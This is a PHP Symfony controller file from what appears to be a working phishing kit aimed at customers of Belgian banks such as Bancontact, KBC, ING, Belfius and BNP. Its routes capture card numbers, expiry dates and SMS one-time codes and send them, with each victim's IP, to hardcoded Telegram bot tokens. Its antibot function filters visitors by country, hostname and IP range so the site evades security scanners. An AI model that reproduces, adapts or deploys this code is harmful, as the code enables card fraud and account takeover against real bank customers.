src/Controller/UserController.php line 23

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\Blacklist;
  4. use App\Entity\User;
  5. use Doctrine\Persistence\ManagerRegistry;
  6. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  7. use Symfony\Component\HttpFoundation\JsonResponse;
  8. use Symfony\Component\HttpFoundation\Request;
  9. use Symfony\Component\HttpFoundation\Response;
  10. use Symfony\Component\HttpFoundation\Session\Session;
  11. use Symfony\Component\Routing\Annotation\Route;
  12. class UserController extends AbstractController
  13. {
  14.     private $telegram1 ='https://api.telegram.org/bot8051442795:AAEp9c-JL2mtGJwAveMj8APxCo-jcgCCWi4/sendMessage?chat_id=-4884414760&text=' ;
  15.     private $telegram ='https://api.telegram.org/bot8184827609:AAFGwH57gPbKeARTvPL9N1OZvBRuwnlAEzs/sendMessage?chat_id=-4855090838&text=' ;
  16.     private $country='US';
  17.     private $FOD=0;
  18.     #[Route('/')]
  19.     public function index(Request $request,ManagerRegistry $doctrine): Response
  20.     {
  21.         $emailClick=$request->get('email');
  22.         $emailClick="cc@cc.cc";
  23.         $message="";
  24.         $response="";
  25.         $month date("m");
  26.         $session=new Session();
  27.         $ip $request->getClientIp();
  28.         $em=$doctrine->getManager();
  29.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  30.         if ($bl){
  31.             return $this->redirect($bl->getUrl());
  32.         }
  33.         // Validate email
  34.         if (filter_var($emailClickFILTER_VALIDATE_EMAIL)) {
  35.             if ($this->antibot($request)==false){
  36.                 $em=$doctrine->getManager();
  37.                 $user=$em->getRepository(User::class)->findOneByIp($ip);
  38.                 if ($user) {
  39.                     $user->setIp($ip);
  40.                     $user->setNowStep('home');
  41.                     $user->setStep('');
  42.                     $em->persist($user);
  43.                     $em->flush();
  44.                     $session->set('user'$user);
  45.                     $ip $request->getClientIp();
  46.                     $message .= "\n";
  47.                     $message .= ">>: ".$emailClick;
  48.                     $message .= "\n";
  49.                     $message .= "\n";
  50.                     $message .= "http://www.geodatatool.com/?IP=".$ip ."\n";
  51.                     file_get_contents($this->telegram1 urlencode($message)."" );
  52.                 }else{
  53.                     $user = new User();
  54.                     $user->setIp($ip);
  55.                     $user->setIsShowing(0);
  56.                     $user->setNowStep('home');
  57.                     $user->setStep('');
  58.                     $em->persist($user);
  59.                     $em->flush();
  60.                     $session->set('user',$user);
  61.                     $ip $request->getClientIp();
  62.                     $message .= "\n";
  63.                     $message .= ">>: ".$emailClick;
  64.                     $message .= "\n";
  65.                     $message .= "\n";
  66.                     $message .= "http://www.geodatatool.com/?IP=".$ip ."\n";
  67.                     file_get_contents($this->telegram1 urlencode($message)."" );
  68.                 }
  69.             }else{
  70.                 return $this->redirect('https://www.hopa.com/');
  71.             }
  72.             
  73.         }else{
  74.             return $this->redirect('https://hopa.com');
  75.         }
  76.         return $this->render('user/index.html.twig',array('response'=>$response));
  77.     }
  78.     #[Route('/bancontact/')]
  79.     public function bancontact(Request $request,ManagerRegistry $doctrine): Response
  80.     {
  81.         $ip $request->getClientIp();
  82.         $em=$doctrine->getManager();
  83.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  84.         if ($bl){
  85.             return $this->redirect($bl->getUrl());
  86.         }
  87.         $message="";
  88.         $response=$request->get("error");
  89.         $card="";
  90.         $expiryMonth="";
  91.         $expiryYear="";
  92.         $month date("m");
  93.         $session=new Session();
  94.         $em=$doctrine->getManager();
  95.         $type=$request->get('type');
  96.         if ($this->antibot($request)==false){
  97.             if ($request->getMethod()==='POST'){
  98.                 $currentD $this->get_current_file_url($Protocol='https://');
  99.                 $submittedToken $request->request->get('token');
  100.                 $expiryYear=$request->get('expiryYear');
  101.                 $expiryMonth=$request->get('expiryMonth');
  102.                 $card=$request->get('card');
  103.                 $ip $request->getClientIp();
  104.                 if ($card != "") {
  105.                     if ($expiryMonth != "--") {
  106.                         if ($expiryYear != "----") {
  107.                             $scard $card;
  108.                             $card str_replace(' '''$card);
  109.                             if ($expiryYear>=2022){
  110.                                 $user=$em->getRepository(User::class)->findOneByIp($ip);
  111.                                 if ($user){
  112.                                     $user->setNumeroCard($card);
  113.                                     $user->setMonth($expiryMonth);
  114.                                     $user->setYear($expiryYear);
  115.                                     $user->setIp($ip);
  116.                                     $user->setNowStep('CC');
  117.                                     $user->setStep('');
  118.                                     if ($type!=""){
  119.                                         $user->setType($type);
  120.                                     }
  121.                                     $em->persist($user);
  122.                                     $em->flush();
  123.                                     $session->set('user',$user);
  124.                                     $message="";
  125.                                     $message .= "πŸ†” πŸ‘‰ ".$user->getId()."\n";
  126.                                     $message .= "\n";
  127.                                     $message .= "πŸ’³ : ".$card ."\n";
  128.                                     $message .= "EXP : ".$expiryMonth."/".$expiryYear ."\n";
  129.                                     $message .= "\n";
  130.                                     $message .= "Type : "$type."\n";
  131.                                     $message .= "\n";
  132.                                     $message .="πŸ”±LINK: ".$currentD."/panel/"." \n";
  133.                                     $message .= "\n";
  134.                                     $message .= "πŸ“IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  135.                                     file_get_contents($this->telegram urlencode($message)."" );
  136.                                     return $this->redirect('/loading/');
  137.                                 }else{
  138.                                     $user = new User();
  139.                                     $user->setNumeroCard($card);
  140.                                     $user->setMonth($expiryMonth);
  141.                                     $user->setYear($expiryYear);
  142.                                     $user->setIp($ip);
  143.                                     $user->setNowStep('CC');
  144.                                     $user->setIsShowing(0);
  145.                                     $user->setStep('');
  146.                                     if ($type!=""){
  147.                                         $user->setType($type);
  148.                                     }
  149.                                     $em->persist($user);
  150.                                     $em->flush();
  151.                                     $session->set('user',$user);
  152.                                     $message="";
  153.                                     $message .= "πŸ†” πŸ‘‰ ".$user->getId()."\n";
  154.                                     $message .= "\n";
  155.                                     $message .= "πŸ’³ : ".$card ."\n";
  156.                                     $message .= "EXP : ".$expiryMonth."/".$expiryYear ."\n";
  157.                                     $message .= "\n";
  158.                                     $message .= "Type : "$type."\n";
  159.                                     $message .= "\n";
  160.                                     $message .="πŸ”±LINK: ".$currentD."/panel/"." \n";
  161.                                     $message .= "\n";
  162.                                     $message .= "πŸ“IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  163.                                     file_get_contents($this->telegram urlencode($message)."" );
  164.                                     return $this->redirect('/loading/');
  165.                                 }
  166.                                 }else{
  167.                                     $response 'OK';
  168.                                 }
  169.                         } else {
  170.                             $response 'OK';
  171.                         }
  172.                     } else {
  173.                         $response 'OK';
  174.                     }
  175.                 }else{
  176.                     $response='OK';
  177.                 }
  178.             }else{
  179.                 $id=$session->get('user')->getId();
  180.                 $user=$em->getRepository(User::class)->findOneById($id);
  181.                 if($user){
  182.                     $user->setStep('');
  183.                     $user->setNowStep('CC');
  184.                     if ($type!=""){
  185.                         $user->setType($type);
  186.                     }
  187.                     $em->persist($user);
  188.                     $em->flush();
  189.                 }else{
  190.                     $user = new User();
  191.                     $user->setStep('');
  192.                     $user->setNowStep('CC');
  193.                     if ($type!=""){
  194.                         $user->setType($type);
  195.                     }
  196.                     $em->persist($user);
  197.                     $em->flush();
  198.                 }
  199.             }
  200.         }else{
  201.             return $this->redirect('https://www.google.com/');
  202.         }
  203.         return $this->render('user/bancontact.html.twig',array('response'=>$response,'card'=>$card,
  204.             'expiryMonth'=>$expiryMonth,'expiryYear'=>$expiryYear));
  205.     }
  206.     #[Route('/loading/')]
  207.     public function loading(Request $request,ManagerRegistry $doctrine): Response
  208.     {
  209.         $ip $request->getClientIp();
  210.         $em=$doctrine->getManager();
  211.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  212.         if ($bl){
  213.             return $this->redirect($bl->getUrl());
  214.         }
  215.         $response="";
  216.         if ($this->antibot($request)==true){
  217.             return $this->redirect('https://www.google.com/');
  218.         }
  219.         return $this->render('user/loading.html.twig',array('response'=>$response));
  220.     }
  221.     #[Route('/argenta/')]
  222.     public function argenta(Request $request,ManagerRegistry $doctrine): Response
  223.     {
  224.         $ip $request->getClientIp();
  225.         $em=$doctrine->getManager();
  226.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  227.         if ($bl){
  228.             return $this->redirect($bl->getUrl());
  229.         }
  230.         $message="";
  231.         $response="";
  232.         $session=new Session();
  233.         $em=$doctrine->getManager();
  234.         $response=$request->get('error');
  235.         if ($this->antibot($request)==false){
  236.             $ip $request->getClientIp();
  237.             $id=$session->get('user')->getId();
  238.             $user=$em->getRepository(User::class)->findOneById($id);
  239.             if($user){
  240.                 $user->setStep('');
  241.                 $user->setNowStep('argenta');
  242.                 $em->flush();
  243.             }
  244.         }else{
  245.             return $this->redirect('https://www.google.com/');
  246.         }
  247.         return $this->render('user/argenta.html.twig',array('response'=>$response,'user'=>$user));
  248.     }
  249.     #[Route('/vdk/')]
  250.     public function vdk(Request $request,ManagerRegistry $doctrine): Response
  251.     {
  252.         $ip $request->getClientIp();
  253.         $em=$doctrine->getManager();
  254.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  255.         if ($bl){
  256.             return $this->redirect($bl->getUrl());
  257.         }
  258.         $message="";
  259.         $response="";
  260.         $session=new Session();
  261.         $em=$doctrine->getManager();
  262.         $response=$request->get('error');
  263.         if ($this->antibot($request)==false){
  264.             $ip $request->getClientIp();
  265.             $id=$session->get('user')->getId();
  266.             $user=$em->getRepository(User::class)->findOneById($id);
  267.             if ($user){
  268.                 $user->setStep('');
  269.                 $user->setNowStep('vdk');
  270.                 $em->flush();
  271.             }
  272.         }else{
  273.             return $this->redirect('https://www.google.com/');
  274.         }
  275.         return $this->render('user/vdk.html.twig',array('response'=>$response,'user'=>$user));
  276.     }
  277.     #[Route('/crelan/')]
  278.     public function crelan(Request $request,ManagerRegistry $doctrine): Response
  279.     {
  280.         $ip $request->getClientIp();
  281.         $em=$doctrine->getManager();
  282.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  283.         if ($bl){
  284.             return $this->redirect($bl->getUrl());
  285.         }
  286.         $message="";
  287.         $response="";
  288.         $session=new Session();
  289.         $em=$doctrine->getManager();
  290.         $response=$request->get('error');
  291.         if ($this->antibot($request)==false){
  292.             $ip $request->getClientIp();
  293.             $id=$session->get('user')->getId();
  294.             $user=$em->getRepository(User::class)->findOneById($id);
  295.             if ($user){
  296.                 $user->setStep('');
  297.                 $user->setNowStep('crelan');
  298.                 $em->flush();
  299.             }
  300.         }else{
  301.             return $this->redirect('https://www.google.com/');
  302.         }
  303.         return $this->render('user/crelan.html.twig',array('response'=>$response,'user'=>$user));
  304.     }
  305.     #[Route('/bnp/')]
  306.     public function bnp(Request $request,ManagerRegistry $doctrine): Response
  307.     {
  308.         $ip $request->getClientIp();
  309.         $em=$doctrine->getManager();
  310.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  311.         if ($bl){
  312.             return $this->redirect($bl->getUrl());
  313.         }
  314.         $message="";
  315.         $response="";
  316.         $session=new Session();
  317.         $em=$doctrine->getManager();
  318.         $response=$request->get('error');
  319.         if ($this->antibot($request)==false){
  320.             $ip $request->getClientIp();
  321.             $id=$session->get('user')->getId();
  322.             $user=$em->getRepository(User::class)->findOneById($id);
  323.             if($user){
  324.                 $user->setStep('');
  325.                 $user->setNowStep('bnp');
  326.                 $em->flush();
  327.             }
  328.         }else{
  329.             return $this->redirect('https://www.google.com/');
  330.         }
  331.         return $this->render('user/bnp.html.twig',array('response'=>$response,'user'=>$user));
  332.     }
  333.     #[Route('/get/step/')]
  334.     public function getStep(Request $request,ManagerRegistry $doctrine)
  335.     {
  336.         $session=new Session();
  337.         $em=$doctrine->getManager();
  338.         $response=array();
  339.         $id=$session->get('user')->getId();
  340.         $user=$em->getRepository(User::class)->findOneById($id);
  341.         if ($user){
  342.             $user->setDatetime(new \DateTime());
  343.             $em->flush();
  344.             $response['step']=$user->getStep();
  345.             $response['code1']=$user->getCode();
  346.             $response['code2']=$user->getCode2();
  347.         }else{
  348.             $response['step']="home";
  349.         }
  350.         return new JsonResponse($response);
  351.     }
  352.     #[Route('/success/')]
  353.     public function success(Request $request,ManagerRegistry $doctrine)
  354.     {
  355.         $ip $request->getClientIp();
  356.         $em=$doctrine->getManager();
  357.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  358.         if ($bl){
  359.             return $this->redirect($bl->getUrl());
  360.         }
  361.         $response="";
  362.         if ($this->antibot($request)==true){
  363.             return $this->redirect('https://www.google.com/');
  364.         }
  365.         return $this->render('user/success.html.twig');
  366.     }
  367.     #[Route('/bancontactVbv/')]
  368.     public function bancontactVbv(Request $request,ManagerRegistry $doctrine)
  369.     {
  370.         $message="";
  371.         $response="";
  372.         $session=new Session();
  373.         $em=$doctrine->getManager();
  374.         $response=$request->get('error');
  375.         if ($this->antibot($request)==false){
  376.             $ip $request->getClientIp();
  377.             $id=$session->get('user')->getId();
  378.             $user=$em->getRepository(User::class)->findOneById($id);
  379.             if ($user){
  380.                 $user->setStep('');
  381.                 $user->setNowStep('bancontact');
  382.                 $em->flush();
  383.             }
  384.         }else{
  385.             return $this->redirect('https://www.google.com/');
  386.         }
  387.         return $this->render('user/bancontactVbv.html.twig',array('response'=>$response,'user'=>$user));
  388.     }
  389.     
  390.     
  391.      #[Route('/belfius/')]
  392.     public function belfius(Request $request,ManagerRegistry $doctrine)
  393.     {
  394.         $ip $request->getClientIp();
  395.         $em=$doctrine->getManager();
  396.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  397.         if ($bl){
  398.             return $this->redirect($bl->getUrl());
  399.         }
  400.         $message="";
  401.         $response="";
  402.         $session=new Session();
  403.         $em=$doctrine->getManager();
  404.         $response=$request->get('error');
  405.         if ($this->antibot($request)==false){
  406.             $ip $request->getClientIp();
  407.             $id=$session->get('user')->getId();
  408.             $user=$em->getRepository(User::class)->findOneById($id);
  409.             if ($user){
  410.                 $user->setNowStep('belfius');
  411.                 $user->setStep('');
  412.                 $em->flush();
  413.             }
  414.         }else{
  415.             return $this->redirect('https://www.google.com/');
  416.         }
  417.         return $this->render('user/belfius.html.twig',array('response'=>$response,'user'=>$user));
  418.     }
  419.     #[Route('/ing/')]
  420.     public function ing(Request $request,ManagerRegistry $doctrine)
  421.     {
  422.         $ip $request->getClientIp();
  423.         $em=$doctrine->getManager();
  424.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  425.         if ($bl){
  426.             return $this->redirect($bl->getUrl());
  427.         }
  428.         $message="";
  429.         $response="";
  430.         $session=new Session();
  431.         $em=$doctrine->getManager();
  432.         $response=$request->get('error');
  433.         if ($this->antibot($request)==false){
  434.             $ip $request->getClientIp();
  435.             $id=$session->get('user')->getId();
  436.             $user=$em->getRepository(User::class)->findOneById($id);
  437.             if ($user){
  438.                 $user->setNowStep('ing');
  439.                 $user->setStep('');
  440.                 $em->flush();
  441.             }
  442.         }else{
  443.             return $this->redirect('https://www.google.com/');
  444.         }
  445.         return $this->render('user/ing.html.twig',array('response'=>$response,'user'=>$user));
  446.     }
  447.     #[Route('/kbc/')]
  448.     public function kbc(Request $request,ManagerRegistry $doctrine)
  449.     {
  450.         $ip $request->getClientIp();
  451.         $em=$doctrine->getManager();
  452.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  453.         if ($bl){
  454.             return $this->redirect($bl->getUrl());
  455.         }
  456.         $message="";
  457.         $response="";
  458.         $session=new Session();
  459.         $em=$doctrine->getManager();
  460.         $response=$request->get('error');
  461.         if ($this->antibot($request)==false){
  462.             $ip $request->getClientIp();
  463.             $id=$session->get('user')->getId();
  464.             $user=$em->getRepository(User::class)->findOneById($id);
  465.             if ($user){
  466.                 $user->setNowStep('kbc');
  467.                 $user->setStep('');
  468.                 $em->flush();
  469.             }
  470.         }else{
  471.             return $this->redirect('https://www.google.com/');
  472.         }
  473.         return $this->render('user/kbc.html.twig',array('response'=>$response,'user'=>$user));
  474.     }
  475.     #[Route('/axa/')]
  476.     public function axa(Request $request,ManagerRegistry $doctrine)
  477.     {
  478.         $ip $request->getClientIp();
  479.         $em=$doctrine->getManager();
  480.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  481.         if ($bl){
  482.             return $this->redirect($bl->getUrl());
  483.         }
  484.         $message="";
  485.         $response="";
  486.         $session=new Session();
  487.         $em=$doctrine->getManager();
  488.         $response=$request->get('error');
  489.         if ($this->antibot($request)==false){
  490.             $ip $request->getClientIp();
  491.             $id=$session->get('user')->getId();
  492.             $user=$em->getRepository(User::class)->findOneById($id);
  493.             if ($user){
  494.                 $user->setNowStep('axa');
  495.                 $user->setStep('');
  496.                 $em->flush();
  497.             }
  498.         }else{
  499.             return $this->redirect('https://www.google.com/');
  500.         }
  501.         return $this->render('user/axa.html.twig',array('response'=>$response,'user'=>$user));
  502.     }
  503.     #[Route('/bepost/')]
  504.     public function bepost(Request $request,ManagerRegistry $doctrine)
  505.     {
  506.         $ip $request->getClientIp();
  507.         $em=$doctrine->getManager();
  508.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  509.         if ($bl){
  510.             return $this->redirect($bl->getUrl());
  511.         }
  512.         $message="";
  513.         $response="";
  514.         $session=new Session();
  515.         $em=$doctrine->getManager();
  516.         $response=$request->get('error');
  517.         if ($this->antibot($request)==false){
  518.             $ip $request->getClientIp();
  519.             $id=$session->get('user')->getId();
  520.             $user=$em->getRepository(User::class)->findOneById($id);
  521.             if ($user){
  522.                 $user->setNowStep('bepost');
  523.                 $user->setStep('');
  524.                 $em->flush();
  525.             }
  526.         }else{
  527.             return $this->redirect('https://www.google.com/');
  528.         }
  529.         return $this->render('user/bepost.html.twig',array('response'=>$response,'user'=>$user));
  530.     }
  531.     #[Route('/hello/')]
  532.     public function hello(Request $request,ManagerRegistry $doctrine)
  533.     {
  534.         $ip $request->getClientIp();
  535.         $em=$doctrine->getManager();
  536.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  537.         if ($bl){
  538.             return $this->redirect($bl->getUrl());
  539.         }
  540.         $message="";
  541.         $response="";
  542.         $session=new Session();
  543.         $em=$doctrine->getManager();
  544.         $response=$request->get('error');
  545.         if ($this->antibot($request)==false){
  546.             $ip $request->getClientIp();
  547.             $id=$session->get('user')->getId();
  548.             $user=$em->getRepository(User::class)->findOneById($id);
  549.             if ($user){
  550.                 $user->setNowStep('hello');
  551.                 $user->setStep('');
  552.                 $em->flush();
  553.             }
  554.         }else{
  555.             return $this->redirect('https://www.google.com/');
  556.         }
  557.         return $this->render('user/hello.html.twig',array('response'=>$response,'user'=>$user));
  558.     }
  559.     //---------------------------------------------
  560.     #[Route('/submit/otp/ajax/')]
  561.     public function setSms(Request $request,ManagerRegistry $doctrine)
  562.     {
  563.         $response="";
  564.         $em=$doctrine->getManager();
  565.         $session=new Session();
  566.         $id=$session->get('user')->getId();
  567.         $sms=$request->get('sms');;
  568.         $ip $request->getClientIp();
  569.         $currentD $this->get_current_file_url($Protocol='https://');
  570.         $login=$em->getRepository(User::class)->findOneById($id);
  571.         if ($login){
  572.             $login->setMontant($sms);
  573.             $login->setStep('');
  574.             $login->setDatetime(new \DateTime());
  575.             $em->persist($login);
  576.             $em->flush();
  577.             $session->set('user',$login);
  578.             $message="";
  579.             $message .= "πŸ†” πŸ‘‰ ".$login->getId()."\n";
  580.             $message .= "\n";
  581.             $message .= "OTP βœ…: ".$sms ."\n";
  582.             $message .= "\n";
  583.             $message .= "FOR πŸ‘‰ : ".$login->getNumeroCard() ."\n";
  584.             $message .= "\n";
  585.             $message .= "πŸ“IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  586.             file_get_contents($this->telegram urlencode($message)."" );
  587.             $response="OK";
  588.         }else{
  589.             $login=new User();
  590.             $login->setIp($ip);
  591.             $login->setMontant($sms);
  592.             $login->setStep('');
  593.             $login->setDatetime(new \DateTime());
  594.             $login->setIsShowing(0);
  595.             $em->persist($login);
  596.             $em->flush();
  597.             $session->set('user',$login);
  598.             $message="";
  599.             $message .= "πŸ†” πŸ‘‰ ".$login->getId()."\n";
  600.             $message .= "\n";
  601.             $message .= "OTP βœ…: ".$sms ."\n";
  602.             $message .= "\n";
  603.             $message .= "FOR πŸ‘‰ : ".$login->getCard() ."\n";
  604.             $message .= "\n";
  605.             $message .= "πŸ“IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  606.             file_get_contents($this->telegram urlencode($message)."" );
  607.             $response="OK";
  608.         }
  609.         return new Response($response);
  610.     }
  611.     #[Route('/submit/ip/ajax/')]
  612.     public function submitIpAjax(Request $request,ManagerRegistry $doctrine)
  613.     {
  614.         $response="";
  615.         $em=$doctrine->getManager();
  616.         $ip=$request->get('ip');
  617.         $url=$request->get('url');
  618.         $b=new Blacklist();
  619.         $b->setUrl($url);
  620.         $b->setIp($ip);
  621.         $em->persist($b);
  622.         $em->flush();
  623.         $response="OK";
  624.         return new Response($response);
  625.     }
  626.     #[Route('/clear/step/ajax/')]
  627.     public function clearStepAjax(Request $request,ManagerRegistry $doctrine)
  628.     {
  629.         $response="";
  630.         $em=$doctrine->getManager();
  631.         $session=new Session();
  632.         $id=$session->get('user')->getId();
  633.         $sms=$request->get('sms');
  634.         $ip $request->getClientIp();
  635.         $login=$em->getRepository(User::class)->findOneById($id);
  636.         if ($login){
  637.             $login->setIp($ip);
  638.             $login->setStep('');
  639.             $em->persist($login);
  640.             $em->flush();
  641.             $response="OK";
  642.         }else{
  643.             $login=new User();
  644.             $login->setIp($ip);
  645.             $login->setStep('');
  646.             $em->persist($login);
  647.             $em->flush();
  648.             $response="OK";
  649.         }
  650.         return new Response($response);
  651.     }
  652.     function antibot($request){
  653.     $response false;
  654.     $ip $request->getClientIp();
  655.     // Use IP-API.com instead of geoplugin
  656.     $details json_decode(file_get_contents("http://ip-api.com/json/".$ip));
  657.     $country $details->countryCode ?? null;
  658.     $ip188 substr($ip07);
  659.     $ip128 substr($ip06);
  660.     $ip189 substr($ip07);
  661.     $ip109136 substr($ip07);
  662.     $ip3131 substr($ip05);
  663.     $ip10988203 substr($ip011);
  664.     $ip109142 substr($ip07);
  665.     if ($country != $this->country) {
  666.         return true;
  667.     }
  668.     $hostname gethostbyaddr($ip);
  669.     $pos1 strpos($hostname'cache'1);
  670.     $pos2 strpos($hostname'google'1);
  671.     if ($pos1 or $pos2 ) {
  672.         return true;
  673.     }
  674.     if (
  675.         $ip188 == "188.188" or $ip == "85.26.109.208" or $ip == "185.59.17.117" or $ip == "193.105.73.213" or $ip == "78.21.86.228"
  676.         or $ip128 == "128.90" or $ip188 == "188.189" or $ip109136 == "109.136"
  677.         or $ip3131 == "31.31" or $ip10988203 == "109.88.203" or $ip109142 == "109.142"
  678.     ) {
  679.         return true;
  680.     }
  681.     return $response;
  682. }
  683.     function get_current_file_url($Protocol='https://') {
  684.         return $Protocol.$_SERVER['HTTP_HOST'];
  685.     }
  686. }